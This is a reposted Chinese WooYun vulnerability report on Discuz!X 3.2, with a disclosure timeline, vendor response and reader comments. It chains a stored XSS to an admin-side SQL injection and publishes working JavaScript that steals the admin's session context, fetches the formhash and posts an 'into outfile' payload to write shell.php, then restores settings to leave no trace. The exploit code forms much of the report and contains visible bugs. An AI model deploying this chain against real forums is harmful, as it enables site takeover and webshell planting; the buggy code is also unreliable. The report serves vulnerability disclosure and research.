Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

admin 2015年6月15日00:28:12评论273 views字数 235阅读0分47秒阅读模式
摘要

2014-09-13: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-18: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-12: 细节向公众公开

漏洞概要 关注数(102) 关注此漏洞

缺陷编号: WooYun-2014-76006

漏洞标题: Discuz!x xss反弹后台无防御sql注入getshell(附带exploit) Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

相关厂商: Discuz!

漏洞作者: menmen519

提交时间: 2014-09-13 19:48

公开时间: 2014-12-12 19:50

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

25人收藏


漏洞详情

披露状态:

2014-09-13: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-18: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-12: 细节向公众公开

简要描述:

Discuz!x xss反弹后台无防御sql注入getshell,这里的xss只是做一个药引子,因为xss来自日志功能,然而这个日志功能却又默认关闭的,为了测试我们开启它。这个漏洞应该是所有dz通杀的,我下载了最新版本的所以测试通过......

详细说明:

首先我们开启日志功能,然后存储一个xss看看:

测试一个xss页面:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

我们调到文章页面看看,是否被执行了:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

下来我们看看怎样把这个发给管理员呢,底下有一个举报页面:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

我们以管理员的身份看看这个后台的举报请求:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

这个过程我们分析完毕了,下来我们看看后台一处,无防御的sql注入:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

我们这里就不分析代码了,这里代码好曲折啊,大致思路我们给一张图,就可以看清楚

1.设置表前缀,抓包重放如下:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

2.然后我们改一下表前缀的注入:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

3.我们来监控一下,sql语句的执行过程,我们就明白了,这个漏洞产生的原因

a.当你第一次点击的时候,这个sql语句不会执行,然后你多提交几次,就可以了

b.数据第一次流进了这个表:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

看以看出来,做了过滤

c.但是当数据取出来的时候,这个就没有在进行转义,直接从数据库获取,所以造成漏洞:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

那么我们去这个目录看看是否生成了我们想要的shell:

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

这么一来所有的来龙去买我们都搞清楚了,那么怎么样把这两个组合起来,因为有表单hash的存在我们怎么通过xss搞定,思路如下:

1.我们通过ajax 首先对表单页面进行一次get访问,大家都知道dz会隐藏的形式写进表单的一个字段为formhash

2.有了这个formhash的话我们就可以,再次发送ajax请求,直接发送五次然后geshell

3.有人要问为什么要发送五次,这三次分别是什么

a.第一次是get请求获取formhash

b.第二,三次是发送构造的包,因为这第一次发送,是不会成功的,它要利用上次的发包,再二次构造,所以这里面发两次才能产生shell

c.第四,五次请求就是还原人家本来的面目,这里原理是相同的

接下来看我们的代码:

我们在远端的服务器放置的js内容如下:

code 区域
function ajax(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}
var formhash = '';
var cookie = document.cookie;
var _x = ajax();
request_get();

function request_get() {
src="**.**.**.**/Discuz_X3.2_SC_UTF8/upload/admin.php?action=misc&operation=custommenu";
data="";
xhr_act("GET",src,data);
}
function sleep(n){
var start=new Date().getTime();
while(true) if(new Date().getTime()-start>n) break;
}
function request_post(flag) {
src="**.**.**.**/Discuz_X3.2_SC_UTF8/upload/admin.php?action=setting&edit=yes";
if(flag == 1){
data='/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="formhash"/r/n/r/n3cf53a8d/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="scrolltop"/r/n/r/n/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="anchor"/r/n/r/n/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="operation"/r/n/r/nuc/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][appid]"/r/n/r/n1/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][key]"/r/n/r/n********/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][api]"/r/n/r/n**.**.**.**/Discuz_X3.2_SC_UTF8/upload/uc_server/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][ip]"/r/n/r/n/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][connect]"/r/n/r/nmysql/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbhost]"/r/n/r/nlocalhost/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbuser]"/r/n/r/nroot/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbpass]"/r/n/r/n********/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbname]"/r/n/r/nultrax/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbtablepre]"/r/n/r/npre_ucenter_vars union select /'<?php phpinfo()?>/' into outfile /'D:/APMSERVER/APMServ5.2.6/www/htdocs/Discuz_X3.2_SC_UTF8/upload/data/shell.php/'#/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[ucactivation]"/r/n/r/n1/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[fastactivation]"/r/n/r/n0/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[avatarmethod]"/r/n/r/n0/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingsubmit"/r/n/r/n提交/r/n-----------------------------2137124919446--';
}else{
data='/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="formhash"/r/n/r/n3cf53a8d/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="scrolltop"/r/n/r/n/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="anchor"/r/n/r/n/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="operation"/r/n/r/nuc/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][appid]"/r/n/r/n1/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][key]"/r/n/r/n********/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][api]"/r/n/r/n**.**.**.**/Discuz_X3.2_SC_UTF8/upload/uc_server/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][ip]"/r/n/r/n/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][connect]"/r/n/r/nmysql/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbhost]"/r/n/r/nlocalhost/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbuser]"/r/n/r/nroot/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbpass]"/r/n/r/n********/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbname]"/r/n/r/nultrax/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[uc][dbtablepre]"/r/n/r/npre_ucenter_/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[ucactivation]"/r/n/r/n1/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[fastactivation]"/r/n/r/n0/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingnew[avatarmethod]"/r/n/r/n0/r/n-----------------------------2137124919446/r/nContent-Disposition: form-data; name="settingsubmit"/r/n/r/n提交/r/n-----------------------------2137124919446--';
}

xhr_act("POST",src,data);
}

function xhr_act(_m,_s,_a){

if(_m == "GET"){
_x.open(_m,_s,false);
_x.setRequestHeader("Cookie",cookie);
_x.send();
var document_str = _x.responseText;
var basestr = 'name="formhash" value="';
var formhashpos = basestr.indexOf(basestr);
var realpos = formhashpos + basestr.length;
formhash = basestr.substr(realpos,8);
if(formhash){
var count_0 = 3;
var count_1 = 3;
for(var i=0;i<count_0;i++)
request_post(1)

sleep(1000);

for(var j=0;j<count_1;i++)
request_post(0)
}

}else{
_x.open(_m,_s,false);
_x.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------2137124919446");
_x.setRequestHeader("Cookie",cookie);
_x.send(_a);
return _x.responseText;
}
}

然后依照刚才的解法,我们应该在那个目录下生成了一个shell.php

Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

最后我们的站点还是可以正常访问,不留痕迹

到此为止所有的东西已经做完.............

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-15 10:39

厂商回复:

感谢您对我们产品的支持,我们会尽快处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-09-13 19:56 | zeracker Discuz!x xss反弹后台无防御sql注入getshell(附带exploit) ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)

    0

    前排.....

  2. 2014-09-13 19:57 | zph ( 普通白帽子 | Rank:244 漏洞数:44 )

    0

    前排2……

  3. 2014-09-13 20:08 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    0

    前排3……

  4. 2014-09-13 20:09 | 铁汉 ( 路人 | Rank:12 漏洞数:6 | 向各种大神学习之)

    0

    这屌丝,草

  5. 2014-09-13 20:10 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    0

    @铁汉 放血来了

  6. 2014-09-13 20:45 | ecbug ( 普通白帽子 | Rank:115 漏洞数:18 | hello wooyun)

    0

    这标题咋看不懂呢?到底是xss还是sqli?是不是xss跨到后台再利用后台的sqli注射出key获得shell?那这个意思是说xss是必须的?然后这个xss默认又关闭,那岂不是这个漏洞在实战中就是个鸡肋?只能在代码审计层面YY下?

  7. 2014-09-13 21:00 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    0

    就是,。

  8. 2014-09-13 21:54 | bey0nd ( 普通白帽子 | Rank:941 漏洞数:148 | 相忘于江湖,不如相濡以沫)

    0

    mark

  9. 2014-09-13 22:21 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    0

    @ecbug 不一样的,后台的sql,没有任何防御,直接写文件

  10. 2014-09-13 22:24 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    0

    @ecbug 再说,我有xss,就是不想公布到这里面,只是演示其危害性

  11. 2014-09-13 22:30 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)

    0

    火前留名

  12. 2014-09-13 23:02 | 子非海绵宝宝 Discuz!x xss反弹后台无防御sql注入getshell(附带exploit) ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    0

    火钳刘明!

  13. 2014-09-13 23:04 | saline ( 普通白帽子 | Rank:304 漏洞数:38 | Focus On Web Secur1ty)

    0

    @menmen519 后台sql写文件?是写到缓存还是利用mysql root?

  14. 2014-09-14 09:12 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    0

    @猪头子

  15. 2014-09-14 14:41 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    0

    马克

  16. 2014-09-15 11:38 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )

    0

    @menmen519 hi,冻主,我记得以admin身份发的日志才不会被富文本过滤,所以,这是不是个误报呢。

  17. 2014-09-15 11:43 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    0

    @Ray 这里不会的,这里是利用了xss,其实随便找个xss就可以,主要功能点不在这里

  18. 2014-09-15 13:43 | ziwen ( 实习白帽子 | Rank:49 漏洞数:5 | 活着为了乐还是为了苦?)

    0

    好像很吊的样子。。

  19. 2014-09-18 18:09 | 子丑寅卯辰 ( 路人 | Rank:2 漏洞数:1 | 子丑寅卯辰巳午未申酉戌亥)

    0

    竟然附带exploit。。。cncert不用加班了

  20. 2014-09-19 16:28 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )

    0

    @menmen519 $POST['message'] = checkhtml($POST['message']);……function checkhtml($html) { if(!checkperm('allowhtml')) { 不要和我说这里没有任何处理,只是你的admin账户有allowhtml的perm

  21. 2014-11-02 20:02 | 微尘 ( 普通白帽子 | Rank:234 漏洞数:78 )

    0

    @menmen519 这个拿shell需要root权限吧?

  22. 2014-12-12 22:16 | ID被封,再混个ID ( 路人 | Rank:0 漏洞数:1 | 1)

    1

    @Ray 貌似dz和wp的是一样的啊,管理员不受限制,这个感觉是误报

  23. 2014-12-13 11:08 | cmxz ( 普通白帽子 | Rank:133 漏洞数:15 | )

    1

    @ID被封,再混个ID 洞主的意思是通过任意的XSS让管理员来执行sql。 不过既然都能xss了,为何不拿到管理员cookie直接自己登陆呢!?@menmen519

  24. 2014-12-13 11:29 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    1

    @cmxz dz后台很少有sql注射 你们可以看一下这个原理 很有意思的

  25. 2014-12-13 20:49 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心,爱好广泛,求女女带走。。...)

    1

    5次提交 学习了 还可以这样玩

  26. 2014-12-17 21:02 | 迦南 ( 路人 | Rank:14 漏洞数:11 | 我不是玩黑,我就是认真)

    1

    详细很好的思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin